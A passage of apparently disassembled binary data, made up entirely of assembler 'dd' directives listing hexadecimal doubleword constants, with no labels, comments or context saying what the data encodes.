6F12DBB8h, 17E15FBAh, 37B84569h, 0B4A9F24Eh dd 3376448Bh, 728BAB09h, 35D66B25h, 0DB6618DDh, 76C40028h dd 433B4E11h, 0D600E2CDh, 0E0A2640Ah, 4521B58Bh, 0D1887D2Ch dd 0BF20ADDCh, 5B86770Ah, 0ACA88430h, 156C527h, 5B852DF8h dd 4C44FF90h, 0B3044311h, 3BAC12C3h, 7EBE87C0h, 902C40F8h dd 0D8177F56h, 0D168D580h dd 0AAA1320Bh, 0F256DF6Ch, 7DF82E02h, 0CFAE5655h, 76ABB3F2h dd 32B82EFDh, 52D7E916h, 3116F15h, 0DDCAFB61h, 0E9B7E089h dd 1253880Dh, 37195C0Eh, 705161DEh, 0A8E57366h, 4AF19520h dd 0D2F3B207h, 23A07BB6h, 860DE91Ah, 1B0C8B0Fh, 2208A73Bh dd 4A8590A9h, 4BDBDEF9h, 0FEC21F88h, 78A8017Dh, 0CE827E88h dd 0FE126055h, 66F51525h, 4ADC9DD1h, 92397C4Bh, 80DAAFDFh dd 406E1D8Ah, 7CE175DAh, 5652C502h, 829AB96Bh, 9118DDEh dd 462D8AF0h, 0DEBAFE04h, 6C095902h, 7D5C8234h, 23A1C1h dd 9E6BB96h, 50606ADCh, 97601970h, 7BD9A516h, 9C8B956Fh dd 0F2607A4Fh, 9685C2Bh, 0C562A0B0h, 0A05B1A57h, 0BC634F66h dd 0DBED973Ah, 0FC6033C1h, 6BBFF16Bh, 0ECE0B4A7h, 0B21F7C78h dd 0ED8BE821h, 0A9ADD50h, 6B11EF5Fh, 46B503D7h, 9EB4B95Bh dd 0A3ED86Fh, 6E6688h, 0BA19A9CEh, 72CA8E59h, 5CF6615Ah dd 0C04B2BE1h, 0F1B733A7h, 95290751h, 3D7E3BDDh, 6089DF7Ah dd 0A51F6D57h, 0A9401C4Dh, 1ABC5A7h, 0B82162AFh, 1024E9B2h dd 0BF5ECB80h, 47A5D959h, 0BB055CC3h, 6B5F2E7Eh, 68C185DBh dd 0FCB177B3h, 0BF1296E7h, 0F91C32C6h, 91B32292h, 89827F88h dd 5C1BC59Dh, 46C7088h, 0B5A90282h, 9280FB26h, 0CFD9AEFCh dd 0CDA89269h, 57E3CB2Dh, 0BB66F200h, 8995F006h, 0D8E77B6Ch dd 0A57E49F9h, 73A7B703h, 1006AFCFh, 4F1CB1C8h, 14C418AEh dd 61810541h, 8180342Bh, 61CE2860h, 8CDE4184h, 4FDC7F0Ch dd 82EE02D4h, 0EB187EDEh, 58DEEDF8h, 0E2F0746Dh, 955511A1h dd 90DFCB8Fh, 9C84C61Bh, 2E548AFh, 807B6D69h, 0EF77A0A9h dd 0D3004EF0h, 7AE1CB9Bh, 0DD94FA25h, 14167DB5h, 0BB9F1C60h dd 5A051385h, 4E48C137h, 57302BECh, 9624D780h, 0EF32D0Dh dd 732EBED8h, 0B9172CFEh, 6D860CDh, 0F4000570h, 8149FD6Fh dd 2512E173h, 5B624D52h, 63E0C74Dh, 938AF21h, 739193CEh dd 20D92902h, 81E190F4h, 9FC4C9F3h, 8B899554h, 46D64854h dd 0AFE25B18h, 38CD0126h, 0E59D2DDCh, 86E4027Fh, 0A4BDF7B8h dd 25EFEF93h, 0D66E5A56h, 0DA25F34Ch, 0FBB7D56Ah, 0F27B607h dd 576991E9h, 0A080AD3Ch, 0CF61081Ah, 8F054D1Dh, 8859DC80h dd 5E40CD09h, 9673F95Fh, 7DA96C12h, 8C19ACh, 71AF50FCh dd 8B965EC2h, 20EEF94Fh, 99F6AE49h, 0F85A6B00h, 0AC72869Ch dd 20BB0D1Eh, 2B315B23h, 14C8AE9Ah, 0E2ADF0C4h, 80F6DAD2h dd 0B5111FF1h, 7460785Fh, 0AF909DF9h, 105B5486h, 2C8541BFh dd 6C610288h, 7E0E27E9h, 0C2827163h, 40536F75h, 96112EDBh dd 6817D71Dh, 22AD16D5h, 0E76F3813h, 0B8372300h, 0DF613878h dd 0BD25B700h, 55FE07DEh, 537A0AF1h, 24FD6EB3h, 0DB7A5B6h dd 79A66102h, 13146C37h, 0F70E820Fh, 0DFB50006h, 0B2AA33BBh dd 5BFD058Ah, 655FF851h, 65F809F2h, 0EDE9CB77h, 0C0D89EAEh dd 2625A6A5h, 0E91B16F7h, 0B110EF53h, 9501C239h, 1845DD6Dh dd 0C98D8904h, 6984BAACh, 0E3FDAC28h, 7AFE8559h, 10BB00E8h dd 8AA4E1CDh, 0BD890909h, 0FB593295h, 0B7C6FE42h, 0A1D28033h dd 72DF765Ah, 120DEB5Ch, 0FEB3BC50h, 0A0C1E6D3h, 95FCE923h dd 0C044F08Bh, 8AB8C900h, 9A7E50C5h, 0C18B2F35h, 0DEABA40Eh dd 75E94056h, 0C900E5B5h, 8B9F3B3Ah, 84E69CF8h, 48E1E5BBh dd 60578001h, 33131DBFh, 0B209B4F0h, 0AF905F61h, 0B31990EEh dd 0EA3186A9h, 0C4E4EBDFh, 0ECBDAFB9h, 64621D21h, 5B167562h dd 462D0027h, 608184DAh, 8672D016h, 24A53DA0h, 274AFF0Ah dd 805222FFh, 0B858D7EBh, 9A8F84Fh, 626EEAD2h, 5A699800h dd 73BF51AEh, 88CFFBBFh, 890E222Dh, 0A884D3B5h, 0F02BE6AAh dd 50CEB407h, 90F6FA60h, 2215256Eh, 46D4C97Eh, 5BDD0118h dd 0B74CE084h, 0E234F62Bh, 207E3117h, 6EB5E20Ch, 0B3F7107Fh dd 0EAB712C8h, 0D28D83B2h, 0E4E67B44h, 66EE30F0h, 7E026A24h dd 0B0E73ADEh, 1AEF9A8h, 35D381FBh, 814BE8BBh, 0DB12700Ch dd 0E12E905Ch, 71202BBAh, 0FE8083h, 0C2EB6B18h, 0B1B96020h dd 0A79F2EFEh, 36A4BB15h, 20EA9D84h, 65B035ABh, 20CD6907h dd 5EF15145h, 0AC2A5061h, 84929D50h, 0DE7A9CEAh, 4CAE2F00h dd 0BDCCC21Fh, 900F17BFh, 93E256h, 3C87EE53h, 0FAB9AF28h dd 0FC5F5A80h, 6304AAD6h, 916AF9C0h, 2A1EE978h, 0AF24E1CEh dd 0D01E2BBAh, 6E25EBA7h, 93C20279h, 37DD9C4h, 0A51D68D9h dd 0F8A14090h, 7C6F0D01h, 92068ADBh, 9005312Eh, 23BC4251h dd 7A508BC1h, 51D291A5h, 805D27B9h, 311A5B05h, 7F0B03FFh dd 3C141B54h, 0C0F22E25h, 0A68A0FB1h, 0DC8942C9h, 74D7100h dd 0E65AE8E7h, 8B7EC505h, 0E3DCAFFAh, 722EF1B7h, 0BDFC9D1Fh dd 0D5F934B2h, 17911BB5h, 0E62F8681h, 6A652436h, 0DC66F6B5h dd 80902F1Dh, 6A482C80h, 510FFC01h, 0FA305D8Dh, 0FF214A49h dd 8D00E56Fh, 0F3BFF589h, 604B3827h, 88092498h, 414BBD29h dd 77B0590Bh, 511FFA4h, 0A10C70E6h, 6FE43761h, 0E4D2F671h dd 0EFBEE625h, 0D533F142h, 0DAFC0C96h, 24B120C4h, 0A2AB1213h dd 72F71668h, 0E26B7D00h, 1665DC54h, 0AD6FCADDh, 69DA251Eh dd 2EF995EBh, 0D67FB308h, 8831D12Eh, 7F9EE963h, 0B7497F57h dd 609370FCh, 174C49F3h, 2977435Fh, 0FBFC9195h, 0E02EE989h dd 6E1990Ch, 0C924A912h, 22A6F63Bh, 361A10Eh, 0BBDF8010h dd 7E5AE928h, 40CB1295h, 259FA274h, 0D0645838h, 3BB7454Bh dd 86FD901h, 0D44ADB3Ch, 3E03F773h, 2529D59Fh, 0F6F9ADFFh dd 0AD3256C4h, 8DAE98ECh, 9C088216h, 60622417h, 9D29BDBEh dd 0DD0CCD04h, 0F6AD3E6Bh, 1854F84h, 1F3D9D89h, 0C819CF6Eh dd 5465C015h, 0D19DFC8Ah, 7709AF1Bh, 44A70F59h, 253E0FC2h dd 3900DE8Eh, 2B7DFB62h, 0F067100h, 7C0C16D2h, 403ABA46h dd 0B92A5B22h, 6495C8DAh, 78C49305h, 605A4A62h, 8A8B00FEh dd 8589FCF9h, 0B84949BFh, 0D8A053C2h, 900A03Fh, 57994A95h dd 50EEBF66h, 0BA39C6F0h, 21D2E60Bh, 0C225840Fh, 79075621h dd 76927180h, 0EF09E583h, 4DE657D8h, 48057120h, 0EC4AD923h dd 9EEAD23Bh, 70AB925Eh, 55BD09BEh, 4AAF5FD0h, 0E8A99D94h dd 82F09AD2h, 0DDEB9D67h, 12A4CF79h, 2FBF4A3Fh, 0DA8A1F45h dd 839BDC4h, 0F079F6AEh, 186DD49h, 0AC0BE11h, 2E6A81AEh dd 8A970728h, 5D178255h, 704C7D8Fh, 93957197h, 2D820833h dd 45526112h, 0E2E89FB9h, 84194B16h, 0A9AA56EBh, 8C1BAC6Ah dd 718F6400h, 5E6C2BA2h, 25F89092h, 92DD2C09h, 0D446FCEDh dd 693FA47Dh, 0DFEB820Eh, 5C3FECA0h, 0ADB15167h, 0DE7DD656h dd 1200D27Eh, 79D4B3D7h, 972AF1A5h, 9A458C14h, 0F7E5AA20h dd 2296CE6Ah, 42BF0251h, 6062AC96h, 9BE0466Dh, 253B28D8h dd 8B5F9495h, 4ABA5068h, 26A8B22Eh, 2916D989h, 21A16721h dd 5BF9F36Bh, 9BBE6B12h, 0AE5FC0EEh, 980ADBFCh, 9A642757h dd 8189985Dh, 946225CBh, 88FC5DC6h, 0E62E02B1h, 976B1440h dd 0D9DA2DEDh, 0DE8AC9B0h, 0EDCC5F4Eh, 79BD1031h, 0B7501F23h dd 5D230967h, 34006C37h, 2B1928B6h, 60B42DBDh, 3109F1E6h dd 5714B18Dh, 854EFFCEh, 9734FAh, 6847DB80h, 0D2C46DEh dd 509C00Eh, 84815D43h, 0EE124521h, 0E41F5E51h, 0E077C04Fh dd 0F69095AFh, 0B584D6DBh, 4E072C9Bh, 0CB0B7F7h, 9C094EF8h dd 4EADB1Ch, 0DDB8FBE5h, 0CD380C0h, 7697AAE9h, 0E2F992B2h dd 5D1A8A3h, 0F67D38Ch dd 7C8ABF82h, 9B6A12h, 19A183C4h, 0CD024102h, 0D2F13D88h dd 56EBE298h, 0E8BF61AAh, 2E74E9B6h, 0B131AC33h, 0DD6A2C01h dd 0FACD3BA5h, 898FCC2Bh, 186E2AF7h, 51201900h, 8D91A5D9h dd 89813F12h, 7CC5400Bh, 3AE81723h, 8E5B24CEh, 467FC0E9h dd 404E9C04h, 4E564F22h, 0D593F217h, 318DFC30h, 0A2F90048h dd 2DA14FA3h, 6375C3EAh, 0C2287900h, 0D1BF965Bh, 273C2FD5h dd 0A4E4A442h, 0BCB8C895h, 3ED902E8h, 0A7F8EB09h, 80A6F15Fh dd 969871C5h, 11D51B8h, 0F3209C99h, 89DB047Bh, 0C4D4B8DFh dd 28AB80B7h, 0CE1DBB56h, 50932520h, 1A801CE8h, 52A2AE6Dh dd 9CC33D02h, 7F500863h, 52A5F8FBh, 0EDB3986Dh, 95CEB7C0h dd 0FB466B66h, 49CF8009h, 0DD59B401h, 0BCA02F90h, 88F84E11h dd 7C026379h, 61CA804Fh, 6AD79850h, 4C6902C2h, 0C3F1DCA0h dd 9D8A6EFDh, 0BA0078C4h, 5B8BAC15h, 5E453Ah, 0F4E17DC9h dd 5F12DCABh, 1CE603Fh, 6C6BF90h, 0DD266D1Bh, 0D3816100h dd 20EDFD5Bh, 0A1881697h, 2FAD3154h, 2494053h, 5F25D50Dh dd 84B3356Ch, 0F87978h, 897E0B5h, 5C6220F4h, 3FE8B05h dd 3BAB219Dh, 75E6F440h, 3AC46CA0h, 0DA6EE85Ah, 9C4AD601h dd 6F600C78h, 252EA508h, 0F940307Eh, 9FCF740Eh, 0D1C845A0h dd 7E001DE3h, 293515DDh, 0E5596160h, 0CDC1292Eh, 0AFA73A04h dd 0AEAD4BA0h, 2B79E202h, 4C3DEF5Dh, 88F2C2h, 0C403CB2Dh dd 4F987063h, 0C84E4C00h, 0F0BCAE1Fh, 420D48EDh, 875EB9B3h dd 14C84BDAh, 0CB802CC0h, 72FBB5B0h, 7C42A5BDh, 700155C6h dd 9550E2CFh, 5E45AA20h, 0A2E1FC15h, 2010CC8Ch, 965825ADh dd 95082256h, 5043F556h, 12A4965Bh, 9B964C18h, 0EE927Fh dd 0DBC60F71h, 90B56084h, 7C06BB94h, 57501A1h, 5221A027h dd 0B695C65Fh, 34BA6F64h, 7F8E9070h, 98976104h, 958D8936h dd 2FBB1CC8h, 0AA75D12h, 0C4F9DFEEh, 44C0767Ch, 9F1F09BDh dd 0A903156h, 0F3830F16h, 0CE5D39FEh, 0B2D7FBF9h, 410E0008h dd 32DD5D21h, 3CD0004Ah, 0B3D85C43h, 0AE28D767h, 0D125E6C4h dd 48745929h, 128E0F33h, 397E61A2h, 88AC5A71h, 5602E109h dd 0F6B34252h, 192CC45Ch, 0D5B600DEh, 7BA2A10Ah, 3D2D2E8Fh dd 5F9C07h, 6CF2B1E4h, 0ED8028B7h, 0DB4DD4Eh, 0CC344B8Ah dd 334BB303h, 9CBFD984h, 0EC00EE03h, 2E773A5Dh, 541ADD75h dd 5A0FDAA3h, 0C06DA381h, 651ADBFh, 536E9528h, 0AA8DC33Ah dd 0AA013196h, 79FDDF27h, 4D3058DCh, 80A94F89h, 96CC42E4h dd 70917B9Fh, 9802261Ch, 0AFCD3E35h, 0C2095D14h, 0CF53BD56h dd 5708A1C2h, 6DA7B5C5h, 2B6642E4h, 568BE25Dh, 102E7167h dd 93721BFh, 60502D2Bh, 76973F66h, 1714963h, 396FDA2Dh dd 9880FD25h, 5BDF956Ch, 0F6B8E81Eh, 5A5FC325h, 96F84F2h dd 2D1D8529h, 76A71373h, 81CFE160h, 20F9C3D6h, 46F22B3Eh dd 43597E9Ch, 0CE1B46C0h, 0C900940Ch, 0D86AB99Bh, 1C4C2201h dd 0B1831653h, 2B5FF998h, 0B64B7CE7h, 0B7BDA0A8h, 57789D73h dd 4A2B9495h, 0B4C6A76Ch, 1227E2EEh, 26E5EA72h, 0AD7A6Ah dd 272BDBCBh, 0E1C649B6h, 0F52CB67Bh, 0DF8BB704h, 6BF53EB8h dd 0F2E2008Ah, 56FDEABFh, 0E9A512ECh, 6F45E1DAh, 0B480F19Bh dd 999D0B82h, 0B0562E5Eh, 0DAAEAF85h, 3070D3F5h, 90FC32h dd 0BF501FB3h, 13EF5C76h, 3973F3h, 12945FA6h, 7D9124A7h dd 0EC27A7Eh, 0B09DAA44h, 0D2DECE41h, 980A64Fh, 194A82C9h dd 17CCF50Eh, 5FB795h, 0E49373CBh, 0C9588160h, 55611208h dd 0AD5BECE2h, 81C0DFB3h, 0BC04AFF3h, 0E193A046h, 0E8FF4B19h dd 0C3B5C0DFh, 9CBF54h, 4DAD58DFh, 29181CEBh, 0AEF3A202h dd 5760AC48h, 2156E84h, 5561C28Ah, 0FDA54FBDh, 0B17C5FA9h dd 0B550FE0Eh, 137EBC8Ah, 44990C49h, 0AABCB700h, 0D480F99Eh dd 0BBD0DFA4h, 98914CBFh, 0D0520B2h, 487063BFh, 0F1C04F60h dd 0CCE47AD3h, 0FE421F1Fh, 80A467C0h, 18C7B509h, 0A0573792h dd 6BE35BF8h, 0BDC3D8FCh, 60B5259Dh, 0D52E17CAh, 0EAE0B200h dd 1D784338h, 2BF301B5h, 0C7F511DFh, 8B522E52h, 0C01C9BBFh dd 0D55EF98Ch, 880E69E2h, 1D69968Bh, 5E53F9Dh, 9D1A920h dd 0D026BB66h, 5744B771h, 17233Fh, 5DE694D3h, 0EFB6026Ah dd 944D02DCh, 50F215C8h, 8027D47Ch, 0A3CBBA0h, 0B075D7Bh dd 0A32902DFh, 0C7D71BE9h, 13EB12FFh, 0F0C9F691h, 13CC90Fh dd 0A03518Ah, 66ECB36Fh, 0F0EBF7EEh, 0B94B2FBCh, 0BDD6457Eh dd 0C8C4BDB0h, 30A82507h, 0D7FEE08Ch, 0BA06A908h, 0A60DB80h dd 56901833h, 9D505B39h, 587CD88Bh, 2B7910EBh, 0E6616012h dd 0F7810147h, 2F21939Dh, 0E291E63Bh, 0D6613019h, 0EE3A4F26h dd 27890F0Ah, 8F686425h, 5EFA4082h, 6805D610h, 1F5A390h dd 6D387E8h, 610E292Dh, 0D888FF5Eh, 0A4DC1F05h, 3187C327h dd 0ECA09EC2h, 5CB8BAC4h, 7C28ED2Dh, 6C5251D9h, 0D3BD5B43h dd 3175BD82h, 111AD97Dh, 0A19D3EFEh, 2DB2425h, 77DC01D4h dd 2996415Ch, 97D86CC8h, 0BD2B3E00h, 56B72F41h, 39D26B94h dd 92C0F600h, 99ACE36Ah, 52191791h, 0D062EB42h, 984F89BAh dd 0BA775h, 80EA18C7h, 4BADD61Fh, 9146B203h, 0B80DFCA8h dd 0B7176C52h, 8100C873h, 88381987h, 2DF973BEh, 692C3A9h dd 8CE6597Dh, 43C5B5Fh, 25259198h, 409A541Dh, 9720CF81h dd 2B50A400h, 8BFD8AC8h, 0FF895ED1h, 0A2E99146h, 0B5577E59h dd 5F5CA564h, 4C441CA8h, 0C2B7127Bh, 4E0F74E0h, 9AAE38Fh dd 565F9FDFh, 0FC564474h, 9CFC96D2h, 21720D00h, 0F2D6DA28h dd 53200B00h, 0A9B049EAh, 816B031Bh, 45A176C3h, 0D1A2CC72h dd 95B36CFFh, 52189FA4h, 1520E5F8h, 2DDFBB0Fh, 20AAD6D8h dd 0BD335082h, 65A29170h, 5F4BA956h, 0AF0B1605h, 2C4C34CEh dd 0BD8CDC4Ah, 8484E570h, 0F904BD89h, 0A98AEF29h, 0B394407Ah dd 0EDF84Ah, 0DD7CE7E8h, 2EFB80A1h, 2F087962h, 0A59BC01Eh dd 473ACD0Bh, 4007198h, 5F62DF8Eh, 9D0F86B9h, 0CCD1F8DBh dd 0EF964838h, 0F06E4971h, 959DC86Ah, 77E1841h, 0CFB78096h dd 11E960A2h, 92FEBA20h, 2CDFC48h, 0C065C51h, 927527CCh dd 0BD8AC00Ch, 53BA9525h, 0BA5187D8h, 0CE826A08h, 0F64F550Bh dd 8091B5A7h, 3DB36E85h, 0F63705BAh, 35749406h, 67E8A7E9h dd 1755CD4Ch, 6EBF01EDh, 521D29F0h, 22AC3600h, 9337849h dd 6962E7B1h, 17558602h, 1D4DA57Ah, 0DBA24E9Ch, 840157A8h dd 978D792Ch, 21010A8Fh, 0BD5F8408h, 0C0B92299h, 9934FAD3h dd 0E9E0B2BBh, 0E4013F37h, 0B6B2DB84h, 32E06EEEh, 9CB0481h dd 0E91BDD60h, 4B0CB838h, 22B58A03h, 0E660626Dh, 7F8201A5h dd 5745113Dh, 0FD259120h, 5AF75426h, 135FB57Fh, 0B04713F7h dd 0B8E6F394h, 61FEC905h, 51E6E1FFh, 99A103E0h, 508CFC2Fh dd 36682524h, 0CA108BC5h, 16AC52D5h, 0D6D57525h, 4A5E1C5Bh dd 0B988AACh, 9CDF1759h, 0E2AD4AAEh, 8BB0922Ah, 0AC0E8A6Ah dd 0FC604138h, 746B0B97h, 0FE98DCABh, 15E59512h, 0D24A87E2h dd 8229367Bh, 553129A5h, 30B1C6Eh, 0DF14D1BDh, 9D2B6CB8h dd 1ED1DA9Fh, 0FA8A5090h, 61BC444Dh, 43F9DB00h, 670DE08Bh dd 9D0909C1h, 6FDF08CDh, 7B4E6009h, 0CE2CF2EBh, 722F6445h dd 279DECDFh, 9C5D0A5Dh, 4B8C4B47h, 519856A5h, 3F007C33h dd 28BCC6E6h, 0B026C82Fh, 0DE0EB5DFh, 2970835Ah, 21E6DAB5h dd 0F09807Eh, 8B48F18Dh dd 6D7585D1h, 661EC09Bh, 85989AC1h, 9F06F120h, 5F65675Ch dd 204704EFh, 0C2C2A8D7h, 77B70FF8h, 290B48CCh, 112B058Dh dd 0BCD8DB69h, 1BF2FE9h, 7E418A6Fh, 0A0FB3A0Fh, 5B9D2959h dd 0FC63F0DDh, 0D4AD749Fh, 68C05B9Eh, 250D29CDh, 91C6DB96h dd 0FD8C9A95h, 8E398A10h, 0E26EA00h, 8611FEABh, 0BC2D5EDDh dd 6094F77h, 42BA555Fh, 0B5D4FDD4h, 8924F770h, 38280106h dd 0A82EAD24h, 0DD8F9A53h, 5849BC71h, 8D313A7Fh, 9D8F32D8h dd 961D0B68h, 66E0DAD2h, 8088B957h, 0AA4ACC41h, 0D31C3E63h dd 0F495BB9h, 7F258831h, 164D125h, 0F69365F2h, 0FDD03BF4h dd 1780D381h, 0BF0F7619h, 605AB56Bh, 0F5993402h, 0AC1B8C4h dd 22C66803h, 0A2F180D2h, 88411700h, 46D7201h, 0EFF8E3D6h dd 4C01AEAEh, 7F29E139h, 81F29B2Ah, 2FE106FBh, 0EF4AC42Fh dd 0BD9600A4h, 3D80FD3h, 3E392A06h, 20C49CBFh, 91BB05B2h dd 0AA6A4079h, 3190799Ah, 67A3BAC2h, 0BBC07374h, 25382BFDh dd 20D36118h, 1EDC4072h, 0A51C1786h, 9309AFA6h, 7A455C18h dd 3F001F79h, 0FB3CA8D1h, 1C5A0047h, 119E8439h, 0E809BB26h dd 597A4EEEh, 0B20E448Ch, 49FA4F54h, 6A641E69h, 0A48EFB4Bh dd 769A3AE9h, 5B506880h, 535D6749h, 1575109Dh, 1111093Bh dd 17AB5F25h, 0E105F612h, 826F9FFDh, 1C573400h, 0BBB14E5Bh dd 9804757Ah, 81C63E0Ch, 40B3D17h, 7E502CAEh, 839D044Bh dd 89F798A5h, 0BD6A58D8h, 0F40656h, 9E2AF47Ah, 76641EFFh dd 4180E799h, 54A8B9F9h, 0AD550542h, 0C79E4A08h, 171D2460h dd 600A62BBh, 28408174h, 25A84B93h, 987D6126h, 4B45BD5Ch dd 4929D2Ch, 0C640EBDEh, 0EAEFCB81h, 96322E2Eh, 0AFE9600Ch dd 9C5B6D30h, 0F04CE9B2h, 5F0AAC00h, 0C6EBF50h, 961AF31Fh dd 465A943Bh, 21A9A19Ch, 5B7D8B2Bh, 7881BB9Ah, 7DBAB3BDh dd 59858222h, 0FB8B022Ah, 51B6F35Dh, 7442618h, 213D3854h dd 4E155FFBh, 9430044Eh, 29F67804h, 0EDA80169h, 9D659C04h dd 0B5F8CC51h, 0D6F77BC0h, 0AC00F015h, 1AF25F14h, 4BB239C2h dd 0BD8398DCh, 0A52BDD21h, 1DC2C5Eh, 0A52C5003h, 0EA88D076h dd 141427Ch, 2FC4F2E7h, 978FA52h, 0DF6D85E8h, 0D39DB570h dd 6B93716Ah, 27592405h, 530372ABh, 0DBBD6DF0h, 0DEA73CCFh dd 72F4A9DEh, 7AEB0132h, 2358D5CCh, 5B2D6C0Fh, 0B5010C30h dd 9C164BD1h, 7AF92963h, 0AF6C2FB5h, 0C0ED9E4Fh, 5E2C53E2h dd 34CF2ED2h, 325C25BCh, 2F08E942h, 0D3024303h, 61BB6EE9h dd 75F73AE6h, 5696DE07h, 1DF65B60h, 61D1314Bh, 3145603Ah dd 264E89BDh, 18BC7BF9h, 9DB8048Ch, 0B8EC4A46h, 5FBBA3C4h dd 0BC52A928h, 2E5E3990h, 53B87C1Eh, 0FCE231h, 0F7367CFh dd 1702FBD9h, 0AF5E135Bh, 8EF4B2C9h, 4010B917h, 0BCCE8B11h dd 84779000h, 3D44BFCCh, 71CF2DD5h, 5F330557h, 800A5A2h dd 614849D2h, 0A74C348Fh, 0A3962EBEh, 0E0A5A92Ch, 268CBDC7h dd 1ECC5956h, 2810AF31h, 0DF008F92h, 0D2694095h, 3522A0h dd 4F06B1D0h, 84BE6DEAh, 8B5EA509h, 2984F5F3h, 0C16BDB96h dd 0B7D8200Ah, 0B88BF5F6h, 5E526756h, 0F3892DDCh, 0CF955170h dd 73A60A4h, 99008BDAh, 0ADC5BF36h, 9060130Fh, 2FD2062h dd 6162F1FEh, 0B2255D78h, 48D3F748h, 2152F31Ch, 0A64A62F7h dd 0AEA2A027h, 0F8B913A9h, 0DD108175h, 7B040531h, 38AE1711h dd 0C2E1639Ah, 0E0514DF5h, 0E33547ACh, 0B7E2E104h, 0F3BB8B3Ah dd 0C0025810h, 0E3E68226h, 6AD00208h, 8D954A39h, 0C1C881A2h dd 6DD5CAD7h, 1CB9E0A2h, 9697EB46h, 964DF66h, 2E89358Bh dd 76A64870h, 0DAEF2400h, 2DC92E63h, 23742542h, 85D834E9h dd 0F802C33Ch, 4B74B3EEh, 3229A2C9h, 0FC58BB09h, 68BE8520h dd 5A5A9987h, 0B1D1AEF8h, 0D3025FBCh, 1CD0EAC8h, 0AEDA7531h dd 39B74EC3h, 4A79D289h, 3E53F76Ah, 0E157E78h, 0B9188CC8h dd 0AFCCE824h, 0AD6784C1h, 696BA12Bh, 3B850418h, 0DBAFFF2Ah dd 384C5B0h, 0D528DDC2h, 7BFA4AD9h, 0CC020042h, 8683067Dh dd 3A2CEF16h, 0DE1D1E30h, 0BC983D67h, 25DAB0B8h, 80C6EC78h dd 87983809h, 14DA0036h, 0C8C9E3DDh, 0BF3EEC30h, 2539DA4h dd 4BB63240h, 0B0605F5Dh, 16DEAC2Eh, 0E83D18F6h, 5857C455h dd 6E2EFFB1h, 8820194h, 6A4AE2F9h, 0B8E7A92Bh, 0E1FD0097h dd 18439874h, 0DE4B8A76h, 0C52F41CDh, 3D16BAA2h, 0C0539FAEh dd 0E86AA911h, 0C4465D87h, 0EBD1FF85h, 0A25A51A2h, 178CCE5Fh dd 5CA06DB7h, 3E02DF12h, 7E7AED37h, 0B798DF9Ch, 59009EBCh dd 0B3C6B7EAh, 92B15h, 34F7B93Eh, 6AC8A42Fh, 0D6510225h dd 319102E6h, 0D54A5CD9h, 8C00557h, 0E21DB6ABh, 0AE4C1Ah dd 0BCB760FEh, 94BC4ABh, 15AA5B8h, 0E880A9E9h, 62301E73h dd 79134C00h, 0E9A8871Ah, 7267B5F3h, 0C2124512h, 83549BBFh dd 0D109CC8Eh, 9B2F3E5Ah, 921B8AE6h, 3276D08h, 0E1C860BFh dd 6D75F8EAh, 671D643Ah, 91846A70h, 0ADB305DEh, 0A555A46h dd 15F1D6D2h, 0B64ED23Ch, 6649E0B4h, 0F0DA00CAh, 0B550C2BBh dd 0C8D68D89h, 0B2A4D7A8h, 52AF5F42h, 0E278E657h, 0F333301Ch dd 0D838C901h, 0F5828F9Fh, 0A8F8A23Ah, 28FC0055h, 0DA03216Fh dd 0E74B919Fh, 0A3355F20h, 475A3FC8h, 4202609Ch, 6A0FA95Ch dd 71CD5BF7h, 0DD0020ACh, 3D70C18Ah, 1B312935h, 0C17ECDE5h dd 2FC25FBAh, 12019462h, 85A8D15Fh, 80B06A0Ch, 70E6016Ah dd 25302698h, 87BB5520h, 74FABDF1h, 13338D23h, 0E7CA30D7h dd 6197E513h, 896B2F9Bh, 0F2C42F00h, 99633ABh, 7B1781B1h dd 226476F6h, 67E25213h, 307C1600h, 0AE0522D0h, 4600769Dh dd 0CB16765Bh, 0FFAC134Dh, 0EFC9D702h, 0FC254BDDh, 0A1A4F4EBh dd 0C4C81444h, 1F242546h, 1209D18Fh, 0E9E945AAh, 478E316Dh dd 50AB7017h, 0DB554C3Bh, 0B5B3F18Ch, 0B8FCE369h, 0DB800908h dd 0F0BB55C6h, 0A6EBA602h, 553FE9AFh, 109772CCh, 239D293Ch dd 27940E35h, 3DE69218h, 0C059058h, 840B556Ch, 0BA52572Dh dd 26DD3061h, 0AF43282Fh, 0EE29A340h, 6AF7A999h, 0CB50DB7Bh dd 0AD87823Bh, 89E1091Dh, 0D6DD6A35h, 0E5A98E98h, 0AE9624B9h dd 122372Dh, 8FDF29AFh, 21733C2h, 0B974501Bh, 2D3F5E9Dh dd 483AF2D6h, 80D3C2C8h, 4EF957AEh, 0B82E1187h, 0F6D0DE0Bh dd 9D334513h, 2BB781EEh, 0C6DB3BD2h, 50F8EE80h, 7012374Bh dd 0E644FC6Ch, 67BC96D7h, 0B78260F2h, 580B2E19h, 26D002AFh dd 0FB8B615Eh, 6597B0D5h, 2D288510h, 51E5F712h, 566ED5E3h dd 42DC18EAh, 0D9D50FE5h, 0F5C47A6Fh, 8CE7AB00h, 0C18D2B89h dd 31FF0077h, 53CCF8AAh, 0A127D196h, 0D5371Fh, 0BB0C0353h dd 6D25C96Eh, 15CEC5DBh, 0C92D7C58h, 56538B5Dh, 6F00FCABh dd 8D22C8FBh, 49EA2E52h, 0BE4ACD46h, 0EC49A16Ah, 0E1FFD0C0h dd 149743B7h, 0AA064FB9h, 3C09937Ah, 0A14E0985h, 3068DF12h dd 0EB88B7E2h, 210948A4h, 71485C20h, 6F75D2A2h, 0EDA9408Ah dd 0CB2C986Ch, 67093160h, 9EDA7081h, 0B004DCE8h, 0FDBD0195h dd 0E11845EBh, 0B893A904h, 693713DAh, 384AF2EFh, 0FFB48086h dd 85A9B54h, 52660121h, 0C7803B79h, 0F482F4Eh, 859EB962h dd 18FD6D8Dh, 386959A9h, 0F33549h, 0C8E326C9h, 0C79AA01Ah dd 8102313Fh, 9934B8Ch, 0C2250D95h, 51FD627Fh, 3A5F6869h dd 235D2BB7h, 0F090E9A8h, 0CC055127h, 992E011Ah, 492FCFF3h dd 0BCD6EEC3h, 0BDA8740h dd 9D200C8h, 6A2910D7h, 0A90FB468h, 43B05777h, 95B5F56h dd 2E6D9DB4h, 0E8861875h, 0D349C706h, 4CE4D16Ah, 191A60CDh dd 955F0140h, 0C7D03A5Bh, 0F14011Ch, 2D3F6D68h, 80472C42h dd 829ED717h, 0ADC917AEh, 702E8B4h, 47D48170h, 1AE7294h dd 323C92B4h, 0D7A76842h, 8B80CDFDh, 2CD0DAAAh, 63442500h dd 8A24CAF0h, 4FC2B789h, 0BF37D85Dh, 1A6461CDh, 0BBF3EF65h dd 5925324h, 0C75F4DABh, 48784931h, 0D857FB97h, 2AFCCF22h dd 67E90E08h, 0A5BD8501h, 8974AE0Ch, 